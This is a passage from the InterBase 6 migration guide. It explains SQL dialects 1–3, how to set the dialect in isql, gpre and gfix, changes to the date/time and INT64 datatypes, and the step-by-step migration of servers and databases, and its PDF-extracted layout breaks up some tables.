Below are explanations of server and client behavior with SQL dialects 1, 2, and 3.

 Dialect 1 clients and databases


In dialect 1, the InterBase 6 server interprets transition features just like an InterBase 5
server:


Double quoted text is interpreted as a string literal. Delimited identifiers are not available.

The DATE datatype contains both time and date information and is interpreted as
TIMESTAMP; the name has changed but the meaning has not. Dialect 1 clients expect the
entire timestamp to be returned. In dialect 1, DATE and TIMESTAMP are identical.

The TIME datatype is not available.

Dialect 1 databases store DECIMAL and NUMERIC datatypes with precision greater than 9
as DOUBLE PRECISION, not INT64. In clients: The dialect 1 client expects information stored
in these datatypes to be returned as double precision; such clients cannot create database
fields to hold 64-bit integers.
An InterBase 6 server recognizes all the other InterBase 6 features in dialect 1 clients and
databases.

 Dialect 2 clients
Dialect 2 is available only on the client side. It is intended for assessing possible problems
in legacy metadata that is being migrated to dialect 3. To determine where the problem
spots are when you migrate a database from dialect 1 to dialect 3, you extract the
metadata from the database, set isql to dialect 2, and then run that metadata file through
isql. isql issues warning whenever it encounters double quotes, DATE datatypes, or large
exact numerics to alert you to places where you might need to change the metadata in
order to make a successful migration to dialect 3.
To detect problem areas in the metadata of a database that you are migrating, extract the
metadata and run it through a dialect 2 client, which will report all instances of transition
features. For example:
isql -i v5metadata.sql

Do not assign dialect 2 to databases.

 Dialect 3 clients and databases


In dialect 3, the InterBase server interprets transition features as InterBase 6 SQL
92-compliant:


22

Double quoted strings are treated as delimited identifiers.

INTERBASE 6

SETTING SQL DIALECTS

Dialect 3 DATE datatype fields contain only date information. Dialect 3 clients expect only
date information from a field of datatype DATE.

The TIME datatype is available, and stores only time information.

Dialect 3 databases store DECIMAL and NUMERIC datatypes with precision greater than 9
as INT64 if and only if they are in columns that were created in dialect 3. Dialect 3 clients
expect DECIMAL and NUMERIC datatypes with precision greater than 9 to be returned as
INT64. (To learn how to migrate older data to INT64 storage, see Migrating databases to
dialect 3 on page 43 and Migrating NUMERIC and DECIMAL datatypes on page 48.)

Setting SQL dialects


You can set the SQL dialect for a server or client in a variety of ways. For example, the
new IBConsole user interface has menu options to specify SQL dialect. See the Operations
Guide for a complete explanation of IBConsole use. This section explores the
command-line methods of setting dialect.

Setting isql client dialect


To use isql to create a database in a particular dialect, first set isql to the desired dialect
and then create the database.You can set isql dialect in the following ways:


On the command line, start isql with option -sql_dialect n, where n is 1, 2, or 3.


isql -sql_dialect n

Within an isql session or in an SQL script, you can issue this statement:
SET SQL DIALECT n

The following table shows the precedence for setting isql dialect:
Ranking

How dialect is set

Lowest

Dialect of an attached Version 6 database

Next lowest

Dialect specified on the command line:


isql -sql_dialect n

Next highest

Dialect specified during the session:


SET SQL DIALECT n;

Highest
TABLE 3.1

Dialect of an attached Version 5 database (=1)

isql dialect precedence

23

CHAPTER 3 MIGRATING TO INTERBASE 6

In InterBase 6, isql has the following behavior with respect to dialects:




If you start isql and attach to a database without specifying a dialect, isql takes on the
dialect of the database.

If you specify a dialect on the command line when you invoke isql, it retains that dialect
after connection unless explicitly changed.

When you change the dialect during a session using SET SQL DIALECT n, isql continues to
operate in that dialect until explicitly changed.

When you create a database using isql, the database is created with the dialect of the isql
client; for example, if isql has been set to dialect 1, when you create a database, it is a
dialect 1 database.

If you create a database without first specifying a dialect for the isql client or attaching to
a database, isql creates the database in dialect 3.
The statements above are true whether you are running isql as a command-line utility or
are accessing it through IBConsole, InterBases new interface.

IMPORTANT

Any InterBase 6 isql client that attaches to a version 5 database resets to dialect 1.

Setting the gpre client dialect


In InterBase 6, by default gpre takes on the dialect of the database to which it is
connected. This enables gpre to parse pre-Version 6 source files without moderation.
You can set gpre to operate as a client in a different dialect these ways:


Start gpre with option -sql_dialect n. For example, this command sets gpre to dialect 3:
gpre -sql_dialect 3

Specify dialect within the source, for example:


EXEC SQL
SET SQL DIALECT n

The precedence of dialect specification is as follows:


Lowest
Middle

Dialect of an attached database


Command line specification:

Highest

Dialect explicitly specified within the source, for example

gpre -sql_dialect n
EXEC SQL
SET SQL DIALECT n

24

INTERBASE 6

NEW FEATURES

Setting the gfix client dialect


The command-line option -sql_dialect n, where n is 1 or 3, sets the dialect of an ODS 10
version database. For example, the following statement sets mydb.gdb to dialect 3:
gfix -sql_dialect 3 mydb.gdb

New features
Many of the new InterBase 6 features operate without reference to dialect. Other features
are dialect-specific. These features are listed below and described in more detail in the
Release Notes and other InterBase manuals.

Features available in all dialects


The following new features are available in both dialects of InterBase 6:


IBConsole, InterBases new graphical interface


IBConsole, InterBases new graphical user interface, combines the functionality of Server
Manager and InterBase Windows ISQL. You now create and maintain databases,
configure and maintain servers, and execute interactive SQL from one integrated
interface.

Read-only databases
You can make InterBase 6 databases be read-only. This permits distribution on read-only
media such as CDROMs and reduces the chance of accidental or malicious changes to
databases.

Altering column definitions


The ALTER COLUMN clause of the ALTER TABLE statement can change a columns name,
datatype, or position.

Altering domain definitions


ALTER DOMAIN now includes the ability to change the name or datatype of a domain

definition.


The EXTRACT() function


The new EXTRACT() function extracts information from the new DATE, TIMESTAMP, and
TIME datatypes. In dialect 1, you can use it to extract information from the TIMESTAMP
datatype. Note DATE is new in the sense that it has a different meaning in dialect 3
databases than it did previously.

25

CHAPTER 3 MIGRATING TO INTERBASE 6

SQL warnings
The InterBase API function set now returns warnings and informational messages along
with error messages in the status vector.

The Services API, Install API, and Licensing API


InterBase now provides three new function libraries. The Services API, which is part of
the InterBase client library, provides functions for database maintenance tasks, software
activation, requesting information about the configuration of databases and server, and
working with user entries in the security database.

New gbak functionality


In InterBase 6, gbak can
Back up to multiple files and restore to multiple files
Use the -service switch to perform server-side backups and restores
Set databases to read-only mode when restoring

InterBase Express (IBX)


IBX provides native Delphi components for InterBase data access, services, and
installation. Borland C++ Builder also can access IBX components.

Features available only in dialect 3 databases


The following features are available only in dialect 3 clients and databases because they
conflict with dialect 1 usage.


Delimited identifiers
Identifiers can now be keywords, contain spaces, be case sensitive, and contain
non-ASCII characters. Such identifiers must be delimited by double quotes. String
constants must be delimited by single quotes.

INT64 data storage


In dialect 3 databases, data stored in DECIMAL and NUMERIC columns is stored as INT64
when the precision is greater than 9. This is true only for columns that are created in
dialect 3. These same datatypes are stored as DOUBLE PRECISION in dialect 1 and in all
older InterBase versions. This change in storage also requires different arithmetic
algorithms.

DATE and TIME datatypes

In dialect 3, the DATE datatype holds only date information. This is a change from earlier
InterBase versions in which it stored the whole timestamp.

26

INTERBASE 6

NEW FEATURES

Dialect 3 allows the use of the TIME datatype, which hold only the time portion of the
timestamp.

New keywords
InterBase 6 introduces the following new keywords:
COLUMN
CURRENT_DATE
CURRENT_TIME
CURRENT_TIMESTAMP
DAY
EXTRACT
HOUR
MINUTE
MONTH

SECOND
TIME
TIMESTAMP
TYPE
WEEKDAY
YEAR
YEARDAY

These keywords are reserved words in all version 6 dialects.




You cannot create objects in a version 6 dialect 1 database that have any of these
keywords as object names (identifiers).

You can migrate a version 5 database that contains these keywords used as identifiers to
version 6 dialect 1 without changing the object names: a column could be named YEAR,
for instance.
Version 5 clients can access these keyword identifiers without error.
Version 6 clients cannot access keywords that are used as identifiers. In a dialect 1
database, you must change the names so that they are not keywords.
If you migrate directly to dialect 3, you can retain the names, but you must delimit them
with double quotes. To retain accessibility for older clients, put the names in all upper
case. Delimited identifiers are case sensitive.

Although TIME is a reserved word in version 6 dialect 1, you cannot use it as a datatype
because such databases guarantee datatype compatibility with version 5 clients.

In dialect 3 databases and clients, any reserved word can be used as an identifier as long
as it is delimited with double quotes.

27

CHAPTER 3 MIGRATING TO INTERBASE 6

Delimited identifiers
To increase compliance with the SQL 92 standard, InterBase 6 introduces delimited
identifiers. An identifier is the name of any database object; for instance a table, a
column, or a trigger. A delimited identifier is an identifier that is enclosed in double
quotes. Because the quotes delimit the boundaries of the name, the possibilities for object
names are greatly expanded from previous versions of InterBase. Object names can now:


mimic keywords

include spaces (except trailing spaces)

be case-sensitive

 Double-quotes use
Up to and including version 5, InterBase allowed the use of either single or double quotes
around string constants. The concept of delimited identifiers did not exist. InterBase 6
operates under these rules for double quotes:

28

In all versions of InterBase, anything delimited by single quotes is treated as a string


constant.

In version 5 and older of InterBase, string constants were delimited by either double or
single quotes. Since there was no concept of delimited identifiers, double quotes were
always interpreted as string constants.

Version 6 dialect 1 is a transition mode that behaves like older versions of InterBase with
respect to quote marks: it interprets strings within double quotes as string constants and
does not permit delimited identifiers.

Version 6 dialect 3 uses double quotes only for delimited identifiers. String constants must
be delimited by single quotes, never double.

When version 6 servers detect that the client is dialect 1, they permit client DML
statements to contain double quotes and they correctly handle these as string constants.
However, they do not permit double quotes in client DDL statements because that
metadata would not be allowed in dialect 3. Version 6 servers all insist that string
constants be delimited with single quotes when clients create new metadata.

INTERBASE 6

NEW FEATURES

DATE, TIME, and TIMESTAMP datatypes


InterBase 6 dialect 3 replaces the old InterBase DATE datatype, which contains both date
and time information, with SQL-92 standard TIMESTAMP, DATE, and TIME datatypes. The
primary migration problem exists in the source code of application programs that use the
InterBase 5 DATE datatype. In InterBase 6, the DATE keyword represents a date-only
datatype, while a Version 5 DATE represents a date-and-time datatype.
Columns and domains that are defined as DATE datatype in InterBase 5 DATE appear as
TIMESTAMP columns when the database is restored in InterBase 6. However, a TIMESTAMP
datatype has four decimal points of precision, while a Version 5 DATE datatype has only
two decimal points of precision.
If you migrate your database to dialect 3 and you require only date or only time
information from a TIMESTAMP column, you can use ALTER COLUMN to change the datatype
to DATE or TIME. These columns each take only four bytes, whereas TIMESTAMP and the
InterBase 5 DATE columns each take eight bytes. If your TIMESTAMP column holds both
date and time information, you cannot change it to an InterBase 6 DATE or TIME column
using ALTER COLUMN, because ALTER COLUMN does not permit data loss. Dialect use also
enforces certain rules:


In dialect 1, only TIMESTAMP is available. TIMESTAMP is the equivalent of the DATE datatype
in previous versions. When you back up an older database and restore it in version 6, all
the DATE columns and domains are automatically restored as TIMESTAMP. DATE and
TIMESTAMP datatypes are both available and both mean the same thing in dialect 1.

In dialect 3, TIMESTAMP functions as in dialect 1, but two additional datatypes are


available: DATE and TIME. These datatypes function as their names suggest: DATE holds
only date information and TIME holds only time.

In dialect 3, DATE and TIME columns require only four bytes of storage, while TIMESTAMP
columns require eight bytes.
The following example shows the differences between dialect 1 and dialect 3 clients when
date information is involved.

Example

CREATE TABLE table1 (fld1 DATE, fld2 TIME);


INSERT INTO table1 VALUES (CURRENT_DATE, CURRENT_TIME);

Using dialect 1 clients


SELECT * FROM table1;
Statement failed, SQLCODE = -804
Dynamic SQL Error
-SQL error code = -804

29

CHAPTER 3 MIGRATING TO INTERBASE 6

-Data type unknown


-Client SQL dialect 1 does not support reference to TIME datatype
SELECT fld1 FROM table1;
Statement failed, SQLCODE = -206
Dynamic SQL Error
-SQL error code = -206
-Column unknown
-FLD1
-Client SQL dialect 1 does not support reference to DATE datatype

Using dialect 3 clients


SELECT * FROM table1;
FLD1
FLD2
=========== =============
1999-06-25 11:32:30.0000
SELECT fld1 FROM table1;
FLD1
===========
1999-06-25

Example

CREATE TABLE table1 (fld1 TIMESTAMP);


INSERT INTO table1 (fld1) VALUES (CURRENT_TIMESTAMP);
SELECT * FROM table1;

In dialect 1:
FLD1
===========
25-JUN-1999

In dialect 3:
FLD1
=========================
1999-06-25 10:24:35.0000

Example

SELECT CAST (fld1 AS CHAR(5)) FROM table1;


In dialect 1:
======

30

INTERBASE 6

NEW FEATURES

25-JU

In dialect 3:
Statement failed, SQLCODE = -802
arithmetic exception, numeric overflow, or string truncation

 Converting TIMESTAMP columns to DATE or TIME


Once you have migrated a database to dialect 3, any columns that previously had the
DATE datatype will have the TIMESTAMP datatype. If you want to store that data in a DATE
or TIME column, follow these steps:
1. Use ALTER TABLE to create a new column of the desired type.
2. Insert the values from the original column into the new column:
UPDATE tablename SET new_field = CAST (old_field AS new_field);

3. Use ALTER TABLE to drop the original column.


4. Use ALTER TABLE ALTER COLUMN to rename the new column.

 Casting date/time datatypes


InterBase 6 dialect 3 no longer allows the use of the CAST operator to remove the data
portion of a timestamp by casting the timestamp value to a character value. When you
cast a TIMESTAMP to a CHAR or VARCHAR in dialect 3, the destination type must be at least
24 characters in length or InterBase will report a string overflow exception. This is
required by the SQL3 standard.
You can use the CAST() function in SELECT statements to translate between date/time
datatypes and various character-based datatypes. The character datatype must be at least
24 characters in length. You can, however, cast a TIMESTAMP to a DATE and then cast the
DATE to a CHAR of less than 24 characters. For example:
SELECT CAST (CAST (timestamp_col AS DATE) AS CHAR(10)) FROM table1;

It is not possible to cast a date/time datatype to or from BLOB, SMALLINT, INTEGER, FLOAT,
DOUBLE PRECISION, NUMERIC, or DECIMAL datatypes.
For more information, refer to Using CAST() to convert dates and times in the Embedded
SQL Guide.
Table 3.2 outlines the results of casting to date/time datatypes:

31

CHAPTER 3 MIGRATING TO INTERBASE 6

To
Cast From

TIMESTAMP

DATE

TIME

VARCHAR(n)

See below.

String must be in format


HH:MM:SS.thousands

CSTRING(n)

String must be in format


YYYY-MM-DD
HH:MM:SS.thousands

TIMESTAMP

Always succeeds

Date portion of timestamp Time portion of


timestamp

DATE

Always succeeds; time


portion of timestamp set
to 0:0:0.0000

Always succeeds

Error

TIME

Always succeeds; date


portion of timestamp set
to current date

Error

Always succeeds

CHARACTER(n)

TABLE 3.2

Results of casting to date/time datatypes


Casting DATE to string results in YYYY-MM-DD where MM is a two-digit month. If the

result does not fit in the string variable a string truncation exception is raised. In earlier
versions, this case results in DD-Mon-YYYY HH:mm:SS.hundreds where Mon was a
3-letter English month abbreviation. Inability to fit in the string variable resulted in a
silent truncation.
Casting a string to a date now permits strings of the form:
'yyyy-mm-dd'
'yyyy:mm:dd'

'yyyy/mm/dd'
'yyyy.mm.dd'

'yyyy mm dd'

In all of the forms above, you can substitute a month name or 3-letter abbreviation in
English for the 2-digit numeric month. However, the order must always be 4-digit year,
then month, then day.
In previous versions of InterBase, you could enter date strings in a number of forms,
including ones that had only two digits for the year. Those forms are still available in
InterBase 6. If you enter a date with only two digits for the year, InterBase uses its "sliding
window" algorithm to assign a century to the years.
The following forms were available in earlier versions of InterBase and are still permitted
in InterBase 6:
'mm-dd-yy'
'mm dd yy'
'dd.mm.yy'

32

'mm-dd-yyyy'
'mm dd yyyy'
'dd.mm.yyyy'

'mm/dd/yy'
'mm:dd:yy'

'mm/dd/yyyy'
'mm:dd:yyyy'

INTERBASE 6

NEW FEATURES

If you write out the month name in English or use a 3-character English abbreviation,
you can enter either the month or the day first. In the following examples, xxx stands
for either a whole month name or a three-letter abbreviation. All of the following forms
are acceptable:
'dd-xxx-yy'
'dd xxx yy'
'dd:xxx:yy'

'dd-xxx-yyyy'
'dd xxx yyyy'
'dd:xxx:yyyy'

'xxx-dd-yy'
'xxx dd yy'
'xxx:dd:yy'

'xxx-dd-yyyy'
'xxx dd yyyy'
'xxx:dd:yyyy'

For example, the following INSERT statements all insert the date January 22, 1943:
INSERT
INSERT
INSERT
INSERT

INTO
INTO
INTO
INTO

t1
t1
t1
t1

VALUES
VALUES
VALUES
VALUES

('1943-01-22');
('01/22/1943');
('22.01.1943');
('jan 22 1943');

The following statement would enter the date January 22, 2043:
INSERT INTO t1 VALUES ('01/22/43');

Table 3.3 outlines the results of casting from date/time datatypes:

TABLE 3.3

Cast From

To VARCHAR(n), CHARACTER (n), or CSTRING(n)

TIMESTAMP

Succeeds if n is 24 or more. Resulting string is in format


YYYY-MM-DD HH:MM:SS.thousands.

DATE

Succeeds if n is 10 or more. Resulting string is in the format YYYY-MM-DD.

TIME

Succeeds if n is 13 or more. Resulting string is the format HH:MM:SS.thousands.

Results of casting to date/time datatypes

33

CHAPTER 3 MIGRATING TO INTERBASE 6

 Adding and subtracting datetime datatypes


The following table shows the result of adding and subtracting DATE, TIME, TIMESTAMP,
and numeric values. Numeric value refers to any value that can be cast as an exact
numeric value by the database engine (for example, INTEGER, DECIMAL, or NUMERIC).

TABLE 3.4

34

Operand1

Operator Operand2

Result

DATE

DATE

Error

DATE

TIME

TIMESTAMP (concatenation)

DATE

TIMESTAMP

Error

DATE

Numeric value DATE + number of days: fractional part ignored

TIME

DATE

TIMESTAMP (concatenation)

TIME

TIME

Error

TIME

TIMESTAMP

Error

TIME

Numeric value TIME + number of seconds: 24-hour modulo arithmetic

TIMESTAMP

DATE

Error

TIMESTAMP

TIME

Error

TIMESTAMP

TIMESTAMP

Error

TIMESTAMP

Numeric value TIMESTAMP: DATE + number of days; TIME + fraction of day


converted to seconds

DATE

DATE

DECIMAL(9,0) representing the number of days

DATE

TIME

Error

DATE

TIMESTAMP

Error

DATE

Numeric value DATE number of days: fractional part ignored

TIME

DATE

Error

TIME

TIME

DECIMAL(9,4) representing number of seconds

TIME

TIMESTAMP

Error

Adding and subtracting date/time datatypes

INTERBASE 6

NEW FEATURES

TABLE 3.4

Operand1

Operator Operand2

Result

TIME

Numeric value TIME number of seconds: 24-hour modulo arithmetic

TIMESTAMP

DATE

Error

TIMESTAMP

TIME

Error

TIMESTAMP

TIMESTAMP

DECIMAL(18,9) representing days and fraction of day

TIMESTAMP

Numeric value TIMESTAMP: DATE number of days; TIME fraction of day


converted to seconds

Adding and subtracting date/time datatypes


Note Numeric value + DATE, TIME, or TIMESTAMP is symmetric to DATE, TIME, or
TIMESTAMP + numeric value.

 Using date/time datatypes with aggregate functions


You can use the date/time datatypes with the MIN(), MAX(), COUNT() functions, the
DISTINCT argument to those functions, and the GROUP BY argument to the SELECT()
function. An attempt to use SUM() or AVG() with date/time datatypes returns an error.

 Default clauses
CURRENT_DATE, CURRENT_TIME, and CURRENT_TIMESTAMP can be specified as the default

clause for a domain or column definition.

 Extracting date and time information


The EXTRACT() function extracts date and time information from databases. In dialect 3,
the EXTRACT operator allows you to return different parts of a TIMESTAMP value. The
EXTRACT operator makes no distinction between dialects when formatting or returning
the information. EXTRACT() has the following syntax:
EXTRACT (part FROM value)

The value passed to the EXTRACT() expression must be DATE, TIME, or TIMESTAMP.
Extracting a part that doesnt exist in a datatype results in an error. For example:
EXTRACT (TIME FROM aTime)

A statement such as EXTRACT (YEAR from aTime) would fail.

35

CHAPTER 3 MIGRATING TO INTERBASE 6

The datatype of EXTRACT() expressions depends on the specific part being extracted:

TABLE 3.5

Extract

Resulting datatype Representing

YEAR

SMALLINT

Year, range 0-5400

MONTH

SMALLINT

Month, range 1-12

DAY

SMALLINT

Day, range 1-31

HOUR

SMALLINT

Hour, range 1-23

MINUTE

SMALLINT

Minute, range 1-59

SECOND

DECIMAL(6,4)

Second, range 0-59.9999

WEEKDAY

SMALLINT

Day of the week, range 0-6


(0 = Sunday, 1 = Monday, and so
on)

YEARDAY

SMALLINT

Day of the year, range 1-366

Extracting date and time information


SELECT EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
=======
1999
SELECT EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
=======
1999
SELECT EXTRACT (MONTH FROM timestamp_fld) FROM table_name;
=======
6
SELECT EXTRACT (DAY FROM timestamp_fld) FROM table_name;
=======
25
SELECT EXTRACT (MINUTE FROM timestamp_fld) FROM table_name;
=======
24
SELECT EXTRACT (SECOND FROM timestamp_fld) FROM table_name;
============
35.0000
SELECT EXTRACT (WEEKDAY FROM timestamp_fld) FROM table_name;

36

INTERBASE 6

NEW FEATURES

=======
5
SELECT EXTRACT (YEARDAY FROM timestamp_fld) FROM table_name;
=======
175
SELECT EXTRACT (MONTH FROM timestamp_fld) ||
'-' || EXTRACT (DAY FROM timestamp_fld) ||
'-' || EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
====================
6-25-1999

DECIMAL and NUMERIC datatypes


The following sections highlight some of the changes introduced by InterBase 6 when
dealing with numeric values. They need to be considered carefully when migrating your
database from dialect 1 to dialect 3. When considering these issues, keep in mind that in
order to make use of the new functionality, the statements must be created with a client
dialect setting of 3.
The most notable migration issues involve using the division operator and the AVG()
function (which also implies division) with exact numeric operands. Exact numeric
refers to any of the following data types: INTEGER, SMALLINT, DECIMAL, NUMERIC. NUMERIC
and DECIMAL datatypes that have a precision greater than 9 are called large exact
numerics in this discussion. Large exact numerics are stored as DOUBLE PRECISION in
dialect 1 and as INT64 in columns created in dialect 3.
IMPORTANT

When you migrate an exact numeric column to dialect 3 it is still stored as DOUBLE
PRECISION. The migration does not change the way the data is stored because INT64
cannot store the whole range that DOUBLE PRECISION can store. There is potential data
loss, so InterBase does not permit direct conversion. If you decide that you want your
data stored as INT64, you must create a new column and copy the data. Only exact
numeric columns that are created in dialect 3 are stored as INT64. The details of the
process are provided in Migrating databases to dialect 3 on page 43.
You might or might not want to change exact numeric columns to INT64 when you
migrate to dialect 3. See Do you really need to migrate your NUMERIC and DECIMAL
datatypes? on page 48 for a discussion of issues.
Dialect 3 features and changes include


Support for 64 bit integers.

37

CHAPTER 3 MIGRATING TO INTERBASE 6

Overflow protection. In dialect 1, if the product of two integers was bigger than 31 bits,
the product was returned modulo 232. In dialect 3, the true result is returned as a 64-bit
integer. Further, if the product, sum, difference, or quotient of two exact numeric values
is bigger than 63 bits, InterBase issues an arithmetic overflow error message and
terminates the operation. (Previous versions sometimes returned the least-significant
portion of the true result.). The stored procedure bignum below demonstrates this.
Operations involving division return an exact numeric if both operands are exact
numerics in dialect 3. When the same operation is performed in dialect 1, the result is a
DOUBLE PRECISION.
To obtain a DOUBLE PRECISION quotient of two exact numeric operands in dialect 3,
explicitly cast one of the operands to DOUBLE PRECISION before performing the division:
CREATE TABLE table 1 (n1 INTEGER, n2 INTEGER);
INSERT INTO table 1 (n1, n2) VALUES (2, 3);
SELECT n1 / n2 FROM table1;
======================
0

Similarly, to obtain a double precision value when averaging an exact numeric column,
you must cast the argument to double precision before the average is calculated:
SELECT AVG(CAST(int_col AS DOUBLE PRECISION))FROM table1;

Compiled objects
The behavior of a compiled object such as a stored procedure, trigger, check constraint,
or default value depends on the dialect setting of the client at the time the object is
compiled. Once compiled and validated by the server the object is stored as part of the
database and its behavior is constant regardless of the dialect of the client that calls it.
Example

Consider the following procedure:


CREATE PROCEDURE exact1 (a INTEGER, b INTEGER) RETURNS (c INTEGER)
AS BEGIN
c = a / b;
EXIT;
END;

When created by a dialect 1 client:


EXECUTE PROCEDURE exact 1 returns 1 when executed by either a dialect 1 or dialect 3

client.

38

INTERBASE 6

NEW FEATURES

When created by a dialect 3 client:


EXECUTE PROCEDURE exact 1 returns 0 when executed by either a dialect 1 or dialect 3

client.
Consider the following procedure:

Example

CREATE PROCEDURE bignum (a INTEGER, b INTEGER) RETURNS (c NUMERIC(18,0)


AS BEGIN
c = a * b;
EXIT;
END;

When created by a dialect 1 client:


EXECUTE PROCEDURE bignum (65535, 65535) returns 131071.0000 when executed by

either a dialect 1 or dialect 3 client.


When created by a dialect 3 client:
EXECUTE PROCEDURE bignum (65535, 65535) returns *ERROR* cant access INT64

when executed by a dialect 1 client.


EXECUTE PROCEDURE bignum (65535, 65535) returns 4294836225 when executed by a

dialect 3 client.

Generators
InterBase 6 generators return a 64-bit value, and only wrap around after 264 invocations
(assuming an increment of 1), rather than after 232 as in InterBase 5. Applications should
use an ISC_INT64 variable to hold the value returned by a generator. A client using dialect
1 receives only the least significant 32 bits of the updated generator value, but the entire
64-bit value is incremented by the engine even when returning a 32-bit value to a client
that uses dialect 1. If your database was using an INTEGER field for holding generator
values, you need to recreate the field so that it can hold 64-bit integer values.

Miscellaneous issues


IN clauses have a limit of 1500 elements

Resolution If you have more than 1500 elements, place the values in a temporary table
and use a SELECT subquery in place of the list elements.


Arithmetic operations on character fields are no longer permitted in client dialect 3


Resolution Explicitly cast the information before performing arithmetic calculations.

39

CHAPTER 3 MIGRATING TO INTERBASE 6

Using isql to select from a TIMESTAMP column displays all information when client dialect
is 3.
Resolution In versions of InterBase prior to 6.0, the time portion of a timestamp
displayed only if SET TIME ON was in effect. In 6.0 client dialect 3, the time portion of the
timestamp always displays.

Migrating servers and databases


You can migrate your servers and applications to InterBase 6 at different times. They are
separate migrations. Bear the following issues in mind as you plan your migration:


Older clients can still access databases that have been migrated to InterBase 6. You must
be aware, however, that they cannot access new datatypes or data stored as INT64, and
they always handle double quoted material as strings.

InterBase strongly recommends that you establish a migration testbed to check your
migration procedures before migrating production servers and databases. The testbed
does not need to be on the same platform as the production clients and servers that you
are migrating.
The migration path varies somewhat depending on whether you are replacing an existing
server or installing a new server and moving old databases there. Upgrading an existing
server costs less in money, but may cost more in time and effort. The server and all the
databases you migrate with it are unavailable during the upgrade. If you have hardware
available for a new InterBase 6 server, the migration can be done in parallel, without
interrupting service more than very briefly. This option also offers an easier return path
if problems arise with the migration.

In-place server migration


This section describes the recommended steps for replacing an InterBase 5 server with
an InterBase 6 server.
1. Shut down each database before backup to ensure that no transactions are
in progress.
2. Back up all databases on the version 5 server. Include isc4.gdb if you want to
preserve your configured user IDs.
As a precaution, you should validate your databases before backing up and then
restore each database to ensure that the backup file is valid.

40

INTERBASE 6

MIGRATING SERVERS AND DATABASES

3. Shut down the version 5 server. If your current server is a Superserver, you
are not required to uninstall the server if you intend to install over it,
although uninstalling is always good practice. You cannot have multiple
versions of InterBase on the same machine. If your current server is Classic,
you must uninstall before installing InterBase 6.
4. Install the version 6 server.
Note The install does not overwrite isc4.gdb or isc4.gbk.

5. Start the new server.


- On Windows NT, go to Services in the Control Panel and start the InterBase
Guardian.
- On Windows 2000, go to Control Panel | Administrative Tools | Services and start the
InterBase Guardian.
- On Windows 98/ME, run the InterBase Guardian application.
- On UNIX/Linux platforms, issue the following command to start the InterBase
Superserver as user interbase:
# echo "/usr/interbase/bin/ibmgr -start -forever" | su interbase

Note that InterBase can run only as user root or user interbase on UNIX.
6. To restore the list of valid users, follow these steps:
a. Restore isc4.gbk to isc4_old.gdb
b. Shut down the server
c. Copy isc4_old.gdb over isc4.gdb
d. Copy isc4_old.gbk over isc4.gbk
e. Restart the server
7. Delete each ODS 9 database file. Restore each database from its backup file.
This process creates InterBase 6, ODS 10, dialect 1 databases.
8. Perform a full validation of each database.
After performing these steps, you have an InterBase 6 server and InterBase 6, dialect 1
databases. See About InterBase 6, dialect 1 databases on page 43 to understand
more about these databases. See Migrating databases to dialect 3 on page 43 for a
description of how to migrate databases to dialect 3. See Migrating clients on page 51
for an introduction to client migration.

41

CHAPTER 3 MIGRATING TO INTERBASE 6

Migrating to a new server


This section describes the recommended steps for installing InterBase 6 as a new server
and then migrating databases from a previous InterBase 5 installation. The process differs
only slightly from an in-line install.
1. Back up all databases on the version 5 server. Include isc4.gdb if you want to
preserve your configured user IDs. Shut down the databases before backup
to ensure that no transactions are in progress.
2. Install the version 6 server.
3. Start the new version 6 server.
- On Windows NT/2000, go to Services in the Control Panel and start the InterBase
Guardian.
- On Windows 98, run the InterBase Guardian application.
- On UNIX/Linux platforms, issue the following command to start the InterBase
Superserver as user interbase:
# echo "/usr/interbase/bin/ibmgr -start -forever" | su interbase

Note that InterBase can run only as user root or user interbase on UNIX.
4. Copy the database backup files to the new server and restore each database
from its backup file. This process creates InterBase 6, ODS 10, dialect 1
databases.
Save your backup files until your migration to dialect 3 is complete.
5. To restore the list of valid users, follow these steps:
a. Restore isc4.gbk to isc4_old.gdb
b. Shut down the server
c. Copy isc4_old.gdb over isc4.gdb
d. Copy isc4_old.gbk over isc4.gbk
e. Restart the server
6. Perform a full validation of each database on the new server.
After performing these steps, you have an InterBase 6 server and InterBase 6, dialect 1
databases. See About InterBase 6, dialect 1 databases on page 43 to understand
more about these databases. See Migrating databases to dialect 3 on page 43 for a
description of how to migrate databases to dialect 3. See Migrating clients on page 51
for an introduction to client migration.

42

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

About InterBase 6, dialect 1 databases


When you back up a version 5 database and restore it in InterBase 6, what do you have?


A version 5 client can access everything in the database with no further changes.

If there are object namescolumn or table names, for instancethat include any of the
17 new keywords, you must change these names in order to access these objects with a
version 6 dialect 1 client. The new ALTER COLUMN clause of ALTER TABLE makes it easy to
implement column name changes.
Version 5 clients can still access the columns.
Dialect 3 clients can access these columns as long as they delimit them with double
quotes.

The 17 new keywords are reserved words. However, the new datatypes TIME and DATE are
not available to use as datatypes. DATE columns have the old meaningboth date and
time. The new meaning of DATEdate onlyis available only in dialect 3.

All columns that were previously DATE datatype are now TIMESTAMP datatype. TIMESTAMP
contains exactly the information that DATE did in previous versions.

Exact numeric columnsthose that have a DECIMAL or NUMERIC datatype with precision
greater than 9are still stored as DOUBLE PRECISION datatypes. All arithmetic algorithms
that worked before on these columns still work as before. It is not possible to store data
as INT64 in dialect 1.

Migrating databases to dialect 3


There are four major areas of concern when migrating a database from dialect 1 to dialect
3: double quotes, the DATE datatype, large exact numerics (for purposes of this discussion,
NUMERIC and DECIMAL datatypes that have a precision greater than 9), and keywords.
The process varies somewhat depending on whether you can create an application to
move data from your original database to an empty dialect 3 database. If you do not have
access to such a utility, you need to perform an in-place migration of the original
database.

Overview
In either method, you begin by extracting the metadata from your database, examining
it for problem areas, and fixing the problems.

43

CHAPTER 3 MIGRATING TO INTERBASE 6

If you are performing an in-place migration, you copy corrected SQL statements from the
metadata file into a new script file, modify them, and run the script against the original
database. Then you set the database to dialect 3. There are some final steps to take in the
dialect 3 database to store old data as INT64.

If you have a utility for moving data from the old database to a newly created empty
database, you use the modified metadata file to create a new dialect 3 database and use
the utility to transfer data from the old database to the new.
In both cases, you must make changes to the new database to accommodate migrated
columns that must be stored as INT64 and column constraints and defaults that originally
contained double quotes.
The two methods are described below.

Method one: in-place migration


1. If you have not migrated the database to version 6, dialect 1, do so first. Back
up the database again.
2. Extract the metadata from the database using isql -x. If you are migrating
legacy databases that contain GDML, see Migrating older databases on
page 50.
3. Prepare an empty text file to use as a script file. As you fix data structures in
the metadata files, you will copy them to this file to create a new script.
Note You could also proceed by removing unchanged SQL statements from the

original metadata file, but this is more likely to result in problems from statements
